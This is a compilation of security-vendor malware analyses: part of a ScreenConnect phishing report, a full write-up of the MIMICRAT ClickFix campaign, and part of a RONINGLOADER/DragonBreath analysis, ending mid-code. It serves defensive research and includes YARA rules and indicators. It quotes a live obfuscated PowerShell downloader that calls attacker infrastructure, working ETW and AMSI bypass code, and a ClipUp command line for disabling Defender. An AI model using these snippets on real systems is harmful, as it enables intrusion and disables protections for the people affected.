The email is sent from dan@checkfirst[.]net[.]au and impersonates a project proposal invitation from a fake company. The email body invites the recipient to submit a proposal by clicking a link. This link redirects the victim to attacker-controlled infrastructure imansport[.]ir/download_invitee.php.

Notably, the threat actor reused the same URI path (download_invitee.php) across all compromised websites to deliver the payload. This consistent naming convention represents a poor operational security (OPSEC) practice, as it provided a reliable pivot point for tracking the campaign's infrastructure and identifying additional compromised hosts through VirusTotal searches such as entity:url url:download_invitee.php.

We also uncovered various legitimate websites that were compromised and used the same infrastructure to facilitate other fraudulent schemes. For example, one URL (solpru[.]com/process/docusign[.]html) hosts a page that closely mimics the DocuSign electronic signature platform.

Fake DocuSign portal

This chain completely jumps SILENTCONNECT by downloading a preconfigured ScreenConnect MSI that automatically connects to the actor’s server (instance-lh1907-relay.screenconnect[.]com).

Another page on a different domain impersonates a Microsoft Teams page and requests that the user download a file, which leads to abuse of the Syncro RMM Agent.

Conclusion

Elastic Security Labs continues to see an uptick in RMM adoption by threat actors. As these tools are used by legitimate IT departments, they are typically overlooked and considered “trusted” in most corporate environments. Organizations must stay vigilant, auditing their environments for unauthorized RMM usage.

While this particular group went a step further by writing a custom loader, the majority of their infection chain leverages Windows binaries to evade detection and blend in with normal system activity. The abuse of trusted platforms such as Google Drive and Cloudflare for payload hosting and lure delivery further complicates detection, as network-based controls are unlikely to block traffic to these services outright. As threat actors continue to favor simplicity and stealth over sophistication, campaigns of this nature are likely to persist and evolve.

SILENTCONNECT and MITRE ATT&CK

Elastic uses the MITRE ATT\&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Detecting SILENTCONNECT

YARA

Elastic Security has created the following YARA rules to identify this activity:

rule Windows_Trojan_SilentConnect_cdc03e84 {
    meta:
        author = "Elastic Security"
        creation_date = "2026-03-04"
        last_modified = "2026-03-04"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.SilentConnect"
        reference_sample = "8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557db"
        license = "Elastic License v2"
    strings:
        $peb_evade = "winhlp32.exe" wide fullword
        $rev_elevation = "wen!rotartsinimdA:noitavelE" wide fullword
        $masquerade_peb_str = "MasqueradePEB" ascii fullword
        $guid = "3E5FC7F9-9A51-4367-9063-A120244FBEC7" wide fullword
        $unique_str = "PebFucker" ascii fullword
        $peb_shellcode = { 53 48 31 DB 48 31 C0 65 48 8B 1C 25 60 00 00 00 }
        $rev_screenconnect = "tcennoCneercS" ascii wide
    condition:
        5 of them
}

Observations

The following observables were discussed in this research.

MIMICRAT: ClickFix Campaign Delivers Custom RAT via Compromised Legitimate Websites

Salim Bitam — Fri, 20 Feb 2026 00:00:00 GMT

Introduction

During a recent investigation, Elastic Security Labs identified an active ClickFix campaign compromising multiple legitimate websites to deliver a multi-stage malware chain. Unlike simpler ClickFix deployments that terminate at commodity infostealers, this campaign ends with a capable custom remote access trojan (RAT) we have called MIMICRAT: a native C implant with malleable C2 profiles, token impersonation, SOCKS5 tunneling, and a 22-command dispatch table.

The campaign demonstrates a high level of operational sophistication: compromised sites spanning multiple industries and geographies serve as delivery infrastructure, a multi-stage PowerShell chain performs ETW and AMSI bypass before dropping a Lua-scripted shellcode loader, and the final implant communicates over HTTPS on port 443 using HTTP profiles that resemble legitimate web analytics traffic.

Key takeaways

Multiple legitimate websites were compromised to deliver a five-stage attack chain.
The Lua loader executes embedded shellcode.
MIMICRAT is a bespoke native C++ RAT with malleable C2 profiles, Windows token theft, and SOCKS5 proxy.

Discovery

Elastic Security Labs first identified this campaign in early February 2026 through endpoint telemetry flagging suspicious PowerShell execution with obfuscated command-line arguments.

Given the novelty of the final payload, we publicly disclosed initial indicators via social media on February 11, 2026 to ensure the broader security community could begin hunting for and defending against this threat while our full analysis was underway. The campaign remains active as of this publication.

Researchers at Huntress have documented related ClickFix campaigns using similar infrastructure and techniques, indicating the breadth of this threat actor's operations across multiple parallel campaigns.

Campaign Delivery

The campaign's delivery relies entirely on compromising legitimate, trusted websites rather than attacker-owned infrastructure. The entry point for victims is bincheck[.]io, a legitimate Bank Identification Number (BIN) validation service. The threat actor compromised this site and injected a malicious JavaScript snippet that dynamically loads an external script hosted at https://www.investonline[.]in/js/jq.php, a second compromised site, a legitimate Indian mutual fund investment platform (Abchlor Investments Pvt. Ltd.). The external script is named to impersonate the jQuery library, blending into the page's existing resource load.

It is this remotely loaded script (jq.php) that delivers the ClickFix lure: a fake Cloudflare verification page instructing the victim to manually paste and execute a command to "fix" a problem. The lure copies a malicious PowerShell command directly to the victim's clipboard and prompts them to open a Run dialog (Win+R) or PowerShell prompt and paste it. This technique bypasses browser-based download protections entirely, as no file is downloaded.

jq.php from investonline.in" title="bincheck.io page source showing the injected script loading jq.php from investonline.in" />

This multidimensional compromise relies on a victim-facing website loading a malicious script from a second compromised website, distributes detection risk and increases the perceived legitimacy of the lure to both users and automated security tools. The campaign supports 17 languages, with the lure content dynamically localized based on the victim's browser language settings to broaden its effective reach. Identified victims span multiple geographies, including a USA-based university and multiple Chinese-speaking users documented in public forum discussions, suggesting broad opportunistic targeting.

The following is the list of supported languages by the ClickFix:

English
Chinese
Russian
Spanish
French
German
Portuguese
Japanese
Korean
Italian
Turkish
Polish
Dutch
Vietnamese
Arabic
Hindi
Indonesian

Code analysis

Once the victim executes the clipboard command, the campaign unfolds across five distinct stages: an obfuscated PowerShell downloader contacts the C2 to retrieve a second-stage script that patches Windows event logging(ETW) and antivirus scanning(AMSI) before dropping a Lua-based loader; the loader decrypts and executes shellcode entirely in memory; and the shellcode ultimately delivers MIMICRAT, a capable RAT designed for persistent access and lateral movement.

Stage 1 Powershell one liner command

The clipboard-delivered command is a compact and obfuscated PowerShell one-liner:

powershell.exe -WInDo Min $RdLU='aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf';$OnRa=($RdLU.Substring(17,12));$jOFn=.($RdLU[(87)/(3)]+$RdLU[19]+$RdLU[2]) $OnRa;$TNNt=$jOFn; .($TNNt.Remove(0,3).Remove(3))($TNNt); # connects to xMRi.neTwOrk

The command uses string slicing and arithmetic index operations on a single seed string (aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf) to reconstruct both the target domain and the invocation mechanism at runtime, avoiding any plaintext representation of the C2 domain or PowerShell cmdlet names in the initial payload. The window is minimized (-WInDo Min). The extracted domain is xMRi.neTwOrk, which resolves to 45.13.212.250, and downloads a second-stage PowerShell script.

Infrastructure pivoting on 45.13.212.250 via VirusTotal relations revealed a second domain, WexMrI.CC, resolving to the same IP. Both domains share the same mixed-case formatting obfuscation pattern.

$HDjo resolves to WexMrI.CC" title="PowerShell deobfuscation in a debug session $HDjo resolves to WexMrI.CC" />

Stage 2 Obfuscated Powershell script

The downloaded second-stage PowerShell script is significantly more elaborated. All strings are constructed at runtime by resolving arithmetic expressions to ASCII characters:

$smaau = (-join[char[]](((7454404997-7439813680)/175799),(91873122/759282),...))
# Resolves to: "System.Diagnostics.Eventing.EventProvider"

This technique renders the script opaque to static analysis and signature-based detection while remaining fully functional at runtime. A dummy class declaration is included as a decoy and
the script executes four sequential operations:

ETW Bypass

The script accesses the internal m_enabled field of the System.Diagnostics.Eventing.EventProvider class via reflection and patches its value to 0, effectively disabling Event Tracing for Windows and blinding PowerShell script block logging.

[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

AMSI Bypass

The script then uses reflection to access System.Management.Automation.AmsiUtils and sets the amsiInitFailed field to $true, causing PowerShell to skip all AMSI content scanning for the remainder of the session.

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

AMSI - Memory Patching

The script performs runtime method handle patching via Marshal.Copy in an additional but less common defense evasion step overwriting method pointers in memory to redirect execution away from monitored code paths. This targets the function ScanContent under System.Management.Automation.AmsiUtils to an empty generate method.

$ScanContent_func = [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetMethods("NonPublic,Static") | Where-Object Name -eq "ScanContent"
$tttttttttt       = [zsZRXVIIMQvZ].GetMethods() | Where-Object Name -eq "FHVcGSwOEM"

[System.Runtime.InteropServices.Marshal]::Copy( @([System.Runtime.InteropServices.Marshal]::ReadIntPtr([long]$tttttttttt.MethodHandle.Value + [long]8)),
    0,
    [long]$ScanContent_func.MethodHandle.Value + [long]8,
    1
)

Payload Delivery

With event logging and AV scanning disabled, the script decodes a base64-encoded ZIP archive, extracts it to a randomly named directory under %ProgramData%/knz_{random}, and executes the contained binary zbuild.exe. Temporary artifacts are cleaned up post-execution.

$extractTo = Join-Path $env:ProgramData ("knz_{0}" -f ([IO.Path]::GetRandomFileName()))
[IO.Compression.ZipFile]::ExtractToDirectory($tempZip, $extractTo)
Start-Process (Join-Path $extractTo 'zbuild.exe')

Stage 3 Lua loader

The dropped binary is a custom Lua 5.4.7 loader. It embeds a Lua interpreter statically.
The binary decrypts an embedded Lua script using a XOR stub at runtime, then executes it. The XOR decryption routine (fxh::utility::lua_script_xor_decrypt) iterates over the encrypted buffer XORing each byte against a key.

The Lua script implements a custom Base64 decoder with a non-standard alphabet to decode an embedded shellcode. The decoded shellcode is then allocated in executable memory via luaalloc, copied into that memory with luacpy, and finally executed via luaexe, achieving fully in-memory, fileless shellcode execution.

Stage 4 shellcode

Shellcode matched Meterpreter-related signatures, suggesting the shellcode stage is a loader consistent with the Meterpreter code-family to reflectively load MIMICRAT into memory.

Stage 5 MIMICRAT

The final payload with compilation metadata set to January 29 2026 is a native MSVC x64 PEcompiled with Microsoft Visual Studio linker version 14.44. It does not match any known open-source C2 framework exactly, implementing its own malleable HTTP C2 profiles with ASCII-character-based command dispatch and a custom architecture.

C2 Configuration and communication

MIMICRAT's configuration is stored in the .data section. It contains cryptographic keys, connection parameters, and two complete HTTP communication profiles. All header strings and URIs are hex-encoded ASCII, and decoded at runtime.

The C2 operates over HTTPS on port 443 with a 10-second callback interval. The C2 server hostname (d15mawx0xveem1.cloudfront.net) is RC4 encrypted with the following RC4 key @z1@@9&Yv6GR6vp#SyeG&ZkY0X74%JXLJEv2Ci8&J80AlVRJk&6Cl$Hb)%a8dgqthEa6!jbn70i27d4bLcE33acSoSaSsq6KpRaA7xDypo(5.

The implant uses HTTPS for communication with a layered encryption scheme: an embedded RSA-1024 public key handles asymmetric session key exchange.

While AES is used for symmetric encryption of C2 traffic it uses a hardcoded IV abcdefghijklmnop and a runtime calculated key which derived from a SHA-256 hash value of a randomly generated alpha-numeric value example 9ZQs0p0gfpOj3Y02.

The following are the profile used by the sample for POST and GET requests:

HTTP GET Profile: Check-in and Tasking

HTTP POST Profile: Data Exfiltration

| Component | Value | | ----- | ----- | | URI | /discover/pcversion/metrics?clientver=ds | | Referer | [https://gsov.google.com/](https://gsov.google.com/) | | Cookies | ARCHUID, BRCHD, ZRCHUSR |

Command Dispatch

MIMICRAT implements a total of 22 distinct commands to provide post-exploitation capabilities like process and file system control, interactive shell access, token manipulation, shellcode injection, and SOCKS proxy tunneling. The beacon interval and jitter are operator-configurable at runtime via dedicated commands. The following is a summarized table of all the implemented commands:

| Cmd ID | Function | Description | | ----- | ----- | ----- | | 3 | Exit | Terminates the implant process | | 4 | Set beacon interval | Configures sleep duration and jitter | | 5 | Change directory | Changes the current working directory | | 10 | Write file | Writes a C2-supplied payload to disk (overwrite) | | 11 | Read file | Reads a file from disk and exfiltrates contents to C2 | | 12 | Spawn process | Launches a process using a stolen token if available, falling back to standard execution | | 28 | Revert impersonation | Reverts token impersonation and clears token state | | 31 | Steal token | Duplicates the security token of a target process by PID | | 32 | List processes | Enumerates running processes with PID, PPID, user, domain, and architecture | | 33 | Kill process | Terminates a process by PID | | 39 | Get current directory | Returns the current working directory to C2 | | 53 | List files | Lists files and directories with timestamps and sizes | | 54 | Create directory | Creates a directory on disk | | 55 | List drives | Enumerates logical drives | | 56 | Delete file/directory | Deletes a file or removes a directory | | 67 | Append to file | Appends C2-supplied data to an existing file | | 73 | Copy file | Copies a file from source to destination | | 74 | Move/rename file | Moves or renames a file | | 78 | Interactive shell | Opens a persistent interactive CMD shell over a pipe | | 100 | Inject shellcode | Reflective shellcode injection | | 101 | SOCKS | Configures SOCKS proxy channel or stop it | | 102 | SOCKS proxy | Shares handler with command 101; Most likely a placeholder command |

Infrastructure

The campaign's network infrastructure clusters into two primary groups:

Cluster A — Initial Payload Delivery (`45.13.212.251` / `45.13.212.250`)

Multiple domains point to this IP range, including xMRi.neTwOrk and WexMrI.CC. Domain naming uses mixed-case obfuscation. This infrastructure serves the second-stage PowerShell script and the embedded payload ZIP.

45.13.212.251 showing multiple campaign domains resolving to this IP" title="VirusTotal relations for 45.13.212.251 showing multiple campaign domains resolving to this IP" />

Cluster B Post-Exploitation C2 (`23.227.202.114`)

Associated with www.ndibstersoft[.]com and observed in beacon communications from the dropped file. This represents the operator's post-exploitation C2 channel.

CloudFront C2 Relay
d15mawx0xveem1.cloudfront[.]net is confirmed as part of MIMICRAT's C2 infrastructure. VT relations for the rgen.zip sample show it contacting this CloudFront domain using the same /intake/organizations/events?channel=app URI pattern identified in MIMICRAT's GET profile, confirming it acts as a C2 relay fronting for the backend server.

Delivery Infrastructure

Two compromised legitimate websites form the delivery chain:

bincheck.io — victim-facing entry point; compromised to load the external malicious script
investonline.in — hosts the ClickFix JavaScript payload (/js/jq.php) disguised as jQuery; this script renders the lure and delivers the clipboard PowerShell

Malware and MITRE ATT&CK**

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Mitigations

Detection

The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the MimicRat:

rule Windows_Trojan_MimicRat {
    meta:
        author = "Elastic Security"
        creation_date = "2026-02-13"
        last_modified = "2026-02-13"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "MimicRat"
        threat_name = "Windows.Trojan.MimicRat"
        reference_sample = "a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b"
        scan_type = "File, Memory"
        severity = 100

    strings:
        $b_0 = { 41 8B 56 18 49 8B 4E 10 41 89 46 08 }
        $b_1 = { 41 FF C0 48 FF C1 48 83 C2 4C 49 3B CA }
    condition:
        all of them
}

Observations

The following observables were discussed in this research.

| Observable | Type | Name | Reference | | ----- | ----- | ----- | ----- | | bcc7a0e53ebc62c77b7b6e3585166bfd7164f65a8115e7c8bda568279ab4f6f1 | SHA-256 | | Stage 1 PowerShell payload | | 5e0a30d8d91d5fd46da73f3e6555936233d870ac789ca7dd64c9d3cc74719f51 | SHA-256 | | Lua loader | | a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b | SHA-256 | | MIMICRAT beacon | | 055336daf2ac9d5bbc329fd52bb539085d00e2302fa75a0c7e9d52f540b28beb | SHA-256 | | Related beacon sample | | 45.13.212.251 | IP | | Payload delivery infrastructure | | 45.13.212.250 | IP | | Payload delivery infrastructure | | 23.227.202.114 | IP | | Post-exploitation C2 | | xmri.network | Domain | | Stage 1 C2 / payload delivery | | wexmri.cc | Domain | | Stage 1 C2 alternate | | www.ndibstersoft[.]com | Domain | | Post-exploitation C2 | | d15mawx0xveem1.cloudfront[.]net | Domain | | Post-exploitation C2 | | www.investonline.in/js/jq.php | URL | | Malicious JS payload host (compromised) | | backupdailyawss.s3.us-east-1.amazonaws[.]com/rgen.zip | URL | | Payload delivery |

RONINGLOADER: DragonBreath’s New Path to PPL Abuse

Jia Yu Chan,Salim Bitam — Sat, 15 Nov 2025 00:00:00 GMT

Introduction

Elastic Security Labs identified a recent campaign distributing a modified variant of the gh0st RAT, attributed to the Dragon Breath APT (APT-Q-27), through trojanized NSIS installers masquerading as legitimate software such as Google Chrome and Microsoft Teams. The infection chain employs a multi-stage delivery mechanism that leverages various evasion techniques, with many redundancies aimed at neutralising endpoint security products popular in the Chinese market. These include bringing a legitimately signed driver, deploying custom WDAC policies, and tampering with the Microsoft Defender binary through PPL abuse.

This campaign primarily targets Chinese-speaking users and demonstrates a clear evolution in adaptability compared to earlier DragonBreath-related campaigns documented in 2022-2023. Through this report, we hope to raise awareness of new techniques this malware is starting to implement and to shine a light on a unique loader we are naming RoningLoader.

Key takeaways

The malware employs an abuse of Protected Process Light (PPL) to disable Windows Defender
Threat actors leverage a valid, signed kernel driver to kill processes
Custom unsigned WDAC policy applied to block 360 Total Security and Huorong executables
Phantom DLLs and payload injection via thread pools for further antivirus process termination
Final payload has minor updates and is associated with DragonBreath

Discovery

In August 2025, research was published detailing a method to abuse Protected Process Light (PPL) to disable endpoint security tooling. Following this disclosure, we produced a behavioral rule, Potential Evasion via ClipUp Execution, and, after some threat hunting of telemetry data, we identified a live campaign employing the technique.

RONINGLOADER code analysis

The initial infection vector is a Windows Installer package (MSI). Upon execution, the MSI functions as a dropper, extracting two embedded Nullsoft Scriptable Install System (NSIS) installers. NSIS is a legitimate, open-source tool for creating Windows installers, but it is frequently abused by threat actors to package and deliver malware, as seen in GULOADER. In this campaign, we have observed the malicious installers being distributed under various themes, masquerading as legitimate software such as Google Chrome, Microsoft Teams, or other trusted applications to lure users into executing them.

One of the nested NSIS installers is benign and installs the legitimate software, while the second is malicious and responsible for deploying the attack chain.

The attack chain leverages a signed driver named ollama.sys for antivirus process termination. The driver has a signer name of Kunming Wuqi E-commerce Co., Ltd., with a certificate valid from February 3, 2025, to February 3, 2026. Pivoting on VirusTotal revealed 71 additional signed binaries. Among these, we identified AgentTesla droppers masquerading as 慕讯公益加速器 (MuXunAccelerator), a gaming-focused VPN software popular among Chinese users, with samples dating back to April 2025. Notably, the signing techniques vary across samples. Some earlier samples, like inject.sys, contain HookSignTool artifacts including the string JemmyLoveJenny, while the October 2025 ollama.sys sample shows no such artifacts and uses standard signing procedures, yet both share the same certificate validity period.

Comparing ollama.sys’s PDB string artifact D:\VS_Project\加解密\MyDriver1\x64\Release\MyDriver1.pdb with other samples, we discovered different artifacts from other submitted samples -

D:\cpp\origin\ConsoleApplication2\x64\Release\ConsoleApplication2.pdb
D:\a_work\1\s\artifacts\obj\coreclr\windows.x86.Release\Corehost.Static\singlefilehost.pdb
C:\Users\0\Desktop\EAMap\x64\Release\ttt.pdb
h:\projects\netfilter3\bin\Release\Win32\nfregdrv.pdb

Due to the diversity of binaries and the large volume of submissions, we suspect the certificate may have been leaked, but this is speculation at this time.

Stage 1

Our analysis began with the initial binary, identified by its SHA256 hash: da2c58308e860e57df4c46465fd1cfc68d41e8699b4871e9a9be3c434283d50b. Extracting it reveals two embedded executables: a benign installer, letsvpnlatest.exe, and the malicious installer Snieoatwtregoable.exe.

The malicious installer, Snieoatwtregoable.exe, creates a new directory at C:\Program Files\Snieoatwtregoable\. Within this folder, it drops two files: a DLL named Snieoatwtregoable.dll and an encrypted file, tp.png.

The core of the malicious activity resides within Snieoatwtregoable.dll, which exports a single function: DllRegisterServer. When invoked, this function reads the contents of the tp.png file from disk, then decrypts this data using a simple algorithm involving both a Right Rotate (ROR) and an XOR operation.

The decrypted content is shellcode that reflectively loads and executes a PE file in memory. The malware first allocates a new memory region within its own process using the NtAllocateVirtualMemory API, then creates a new thread to execute the shellcode by calling NtCreateThreadEx.

The malware attempts to remove any userland hooks by loading a fresh new ntdll.dll, then using GetProcAddress with the API name to resolve the addresses.

The malware attempts to connect to localhost on port 5555 without serving any real purpose, as the result will not matter; speculatively, this is likely dead code or pre-production leftover code

Stage 2 - tp.png

RONINGLOADER first checks whether it has administrative privileges using the GetTokenInformation API. If not, it attempts to elevate its privileges by using the runas command to launch a new, elevated instance of itself before terminating the original process.

Interestingly, the malware tries to communicate with a hardcoded URL http://www.baidu.com/ with the user-agent “Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko”, but this appears to be dead code, likely due to either a removed feature or placeholder code for future versions. It is designed to extract and log the HTTP response header date from the URL.

The malware then scans a list of running processes for specific antivirus solutions. It checks against a hardcoded list of process names and sets a corresponding boolean flag to "True" if any are found.

The following is a table of processes and the associated security products hardcoded in the binary:

AV process termination via injected remote process

Next, the malware kills those processes. Interestingly, the Qihoo 360 Total Security product takes a different approach than the others.

First, it blocks all network communication by changing the firewall. It then calls a function to inject shellcode into the process (vssvc.exe) associated with the Volume Shadow Copy (VSS) service.
It first grants itself the high integrity SeDebugPrivilege token.

It then starts the VSS (Volume Shadow Copy Service) if it is not already running and fetches the PID of its associated process (vssvc.exe).

Next, the malware uses NtCreateSection to create two separate memory sections. It then maps views of these sections into the memory space of the vssvc.exe process. The first section contains a full Portable Executable (PE) file, which is a driver with the device name \\.\Ollama. The second section contains shellcode intended for execution.

RONINGLOADER takes a different approach to this process injection compared to other injection methods used elsewhere in the malware. This technique leverages the thread pool to remotely execute code via a file write trigger in the remote process. This technique was documented by SafeBreach in 2023 with different variants.

Once executed, the shellcode begins by dynamically resolving the addresses of the Windows APIs it needs to function. This is the only part of RONINGLOADER that employs any obfuscation, using the Fowler–Noll–Vo hash (FNV) algorithm to look up functions by hash instead of by name.

It first fetches the addresses of CreateFileW, WriteFile, and CloseHandle to write the driver to disk to a hardcoded path, C:\windows\system32\drivers\1912763.temp.

Then it performs the following operations:

Create a service named xererre1 to load the driver dropped to disk
For each of the following processes (360Safe.exe, 360Tray.exe, and ZhuDongFangYu.exe), which are all associated with Qihoo 360 software, it calls 2 functions: one to find the PID of the process by name, followed by a function to kill the process by PID
It then stops and deletes the service xererre1

To kill a process, the malware uses the driver. An analysis of the driver reveals that it registers only 1 functionality: it handles one IOCTL ID (0x222000) that takes a PID as a parameter and kills the process by first opening it with ZwOpenProcess, then terminating it with ZwTerminateProcess kernel APIs.

AV process termination

Returning to the main execution flow, the malware enters a loop to confirm the termination of 360tray.exe, as handled by the shellcode injected into the VSS service. It proceeds only after verifying that the process is no longer running. Immediately after this confirmation, the system restores its firewall settings. This action is likely a defensive measure intended to sever the software's communication channel, preventing it from uploading final activity logs or security alerts to its backend services.

It then terminates the other security processes directly from its main process. Notably, it makes no attempt to hide these actions, abandoning the earlier API hashing technique and calling the necessary functions directly.

RONINGLOADER follows a consistent, repeatable procedure to terminate its target processes:

First, it writes the malicious driver to disk, this time to the temporary path C:\Users\analysis\AppData\Local\Temp\ollama.sys.
A temporary service (ollama) is created to load ollama.sys into the kernel
The malware then fetches the target process's PID by name and sends a request containing the PID to its driver to perform the termination.
Immediately after the kill command is sent, the service is deleted.

Regarding Microsoft Defender, the malware attempts to kill the MsMpEng.exe process using the same approach described above. We noticed a code bug from the author: for Microsoft Defender, the code does not check whether Defender is already running, but proceeds directly to searching for the MsMpEng.exe process. This means that if the process is not running, the malware will send 0 as the PID to the driver.

The malware has more redundant code to kill security solution processes. It also injects another shellcode into svchost.exe, similar to what was injected into vssvc.exe, but the list of processes is different, as seen in the screenshot below.

The injection technique also uses threadpools, but the injected code is triggered by an event.

After the process termination, the malware creates 4 folders

C:\ProgramData\lnk
C:\ProgramData\
C:\Users\Public\Downloads\
C:\ProgramData\Roning

Embedded archives

The malware then writes three .txt files to C:\Users\Public\Downloads\. Despite their extension, these are not text files but rather containers built with a specific format, likely adapted from another code base.
This custom file structure is organized as follows:

Magic Bytes: The file begins with the signature 4B 44 01 00 for identification.
File Count: This is immediately followed by a value indicating the number of files encapsulated within the container.
File Metadata: A header section then describes the information for each stored file.
Compressed Data: Finally, each embedded file is stored in a ZLIB-compressed data block.

Here’s an example file format for the hjk.txt archive, which contains 2 files: 1.bat and fhq.bat.
This archive format applies to 2 other embedded files in the current stage:

agg.txt, which contains 3 files - Enpug.bin, goldendays.dll, and trustinstaller.bin
kill.txt, which contains 1 file - 1.dll

Batch scripts to bypass UAC and AV networking

1.bat is a simple batch script that disables User Account Control (UAC) by setting the EnableLUA registry value to 0.

fhq.bat is another batch script that targets the program defined in C:\ProgramData\lnk\123.txt and the Qihoo 360 security software (360Safe.exe) by creating firewall rules that block inbound and outbound connections to them. It also disables firewall notifications across all profiles.

AV process termination via Phantom DLL

The deployed DLL, 1.dll, is copied to C:\Windows\System32\Wow64\Wow64Log.dll to be side-loaded by any WOW64 processes, as Wow64Log.dll is a phantom DLL that is not present on Windows machines by default. Its task is redundant, essentially attempting to kill a list of processes using standard Windows APIs (TerminateProcess).

ClipUp MS Defender killer

The malware then attempts to use a PPL abuse technique documented by Zero Salarium in August 2025. The article’s PoC targets Microsoft Defender only. Note that all of the system commands executed are through cmd.exe with the ShellExecuteW API

It searches for Microsoft Defender's installation folder under C:\ProgramData\Microsoft\Windows Defender\Platform\*, targeting only the directory with the most recent modification date, which indicates the currently used version
Create a folder C:\ProgramData\roming and a directory link with mklink to point to the directory found with the following command: cmd.exe /c mklink /D "C:\ProgramData\roming" “C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25050.5-0”
It then runs C:\Windows\System32\ClipUp.exe with the following parameter: -ppl C:\ProgramData\roming\MsMpEng.exe, which overwrites MsMpEng.exe with junk data, effectively disabling the EDR even after a restart

The author appears to have copied code from EDR-Freeze to start ClipUp.exe.

CiPolicies

The malware directly targets Windows Defender Application Control (WDAC) by writing a policy file to the path C:\\Windows\\System32\\CodeIntegrity\\CiPolicies\\Active\\{31351756-3F24-4963-8380-4E7602335AAE}.cip.

The malicious policy operates in a “deny-list” mode, allowing most applications to run while explicitly blocking two popular Chinese antivirus vendors:

Qihoo 360 Total Security by blocking 360rp.exe and 360sd.exe
Huorong Security by blocking ARPProte.exe
All executables signed by Huorong Security (北京火绒网络科技有限公司) via certificate TBS hash A229D2722BC6091D73B1D979B81088C977CB028A6F7CBF264BB81D5CC8F099F87D7C296E48BF09D7EBE275F5498661A4

A critical component is the Enabled:Unsigned System Integrity Policy rule, which allows the policy to be loaded without a valid digital signature.

Truncated...
    
      
    
    
      
    
    
      
    
    
      
    
  
  
  
    
    
    
    
    
  
  
    
      
      
      
    
    
      
      
    
  
...Truncated

Stage 3 - goldendays.dll

In the previous stage, RONINGLOADER creates a new service named MicrosoftSoftware2ShadowCop4yProvider to run the next stage of execution with the following command: regsvr32.exe /S "C:\ProgramData\Roning\goldendays.dll.

The primary goal of this component is to inject the next payload into a legitimate, high-privilege system process to camouflage its activities.

To achieve this, RONINGLOADER first identifies a suitable target process. It has a hardcoded list of two service names that it attempts to start sequentially:

TrustedInstaller (TrustedInstaller.exe)
MicrosoftEdgeElevationService (elevation_service.exe)

The malware iterates through this list, attempting to start each service. Once a service is successfully started, or if one is found already running, the malware saves its Process ID (PID) for the injection phase.

Next, the malware establishes persistence by creating a batch file with a random name within the C:\Windows\ directory (e.g., C:\Windows\KPeYvogsPm.bat). The script inside this file runs a continuous loop with the following logic:

It checks if the captured PID of the trusted service (e.g., PID 4016 for TrustedInstaller.exe) is still running
If the service is not running, the script restarts the previously created malicious service (MicrosoftSoftware2ShadowCop4yProvider) to ensure the malware's components remain active
If the service process is running, the script sleeps for 10 seconds before checking again

Finally, the malware reads the contents of C:\ProgramData\Roning\trustinstaller.bin. Using the PID of the trusted service it acquired earlier, it injects this payload into the target process (TrustedInstaller.exe or elevation_service.exe). The injection method is straightforward: it performs a remote virtual allocation with VirtualAllocEx, writes to it with WriteProcessMemory, and then creates a remote thread to execute it with CreateRemoteThread.

Stage 3 - trustinstaller.bin

The third stage, contained within trustinstaller.bin, is responsible for injecting the final payload into a legitimate process. It starts by enumerating running processes and searching for a target by matching process names against a hardcoded list of potential processes.

When found, it will inject the shellcode into C:\ProgramData\Roning\Enpug.bin, which is the final payload. It will create a section with NtCreateSection, map a view of it in the remote process with NtMapViewOfSection, and write the payload to it. Then it will create a remote thread with CreateRemoteThread.

Stage 4 - Final Payload

The final payload has not undergone major changes since Sophos’s discovery of a DragonBreath campaign in 2023 and QianXin’s report in mid-2022. It is still a modified version of the open-source gh0st RAT.

In the more recent campaigns, a mutex of value Global\DHGGlobalMutex is created at the very beginning of execution. Outside the main C2 communication loop, dead code is observed creating a mutex named MyUniqueMutexName and immediately destroying it afterward.

The C2 domain and port remain hardcoded but are now XOR-encrypted. The C2 channel operates over raw TCP sockets with messages encrypted in both directions.

Victim Beacon Data

The implant checks in with the C2 server and repeatedly beacons to the C2 at random intervals, implemented through Sleep( * 1000). Below is the structure for the data that the implant returns to the C2 server during the beaconing interval:

struct BeaconData {
    // +0x000
    uint32_t message_type;           // Example Beacon ID - 0xC8 (200)

    // +0x004
    uint32_t local_ip;               // inet_addr() of victim's IP

    // +0x008
    char hostname[50];               // Computer name or registry "Remark"

    // +0x03A
    char windows_version[?];         // OS version info

    // +0x0D8
    char cpu_name[64];               // Processor name

    // +0x118
    uint32_t entry_rdx;              

    // +0x11C
    char time_value[64];             // Implant installed time or registry "Time" value

    // +0x15C
    char victim_tag[39];             // Command 6 buffer (Custom victim tag)

    // +0x183
    uint8_t is_wow64;                // 1 if 32-bit on 64-bit Windows

    // +0x184
    char av_processes_found[128];    // Antivirus processes found

    // +0x204
    char uptime[12];                 // System uptime

    char padding[52];                 

    // +0x244
    char crypto_wallet_track[64];    // "狐狸系列" (MetaMask) or registry "ZU" (crypto related tracking)

    // +0x284
    uint8_t is_admin;                // 1 if running with admin rights

    // +0x285
    char data[?];             

    // +0x305
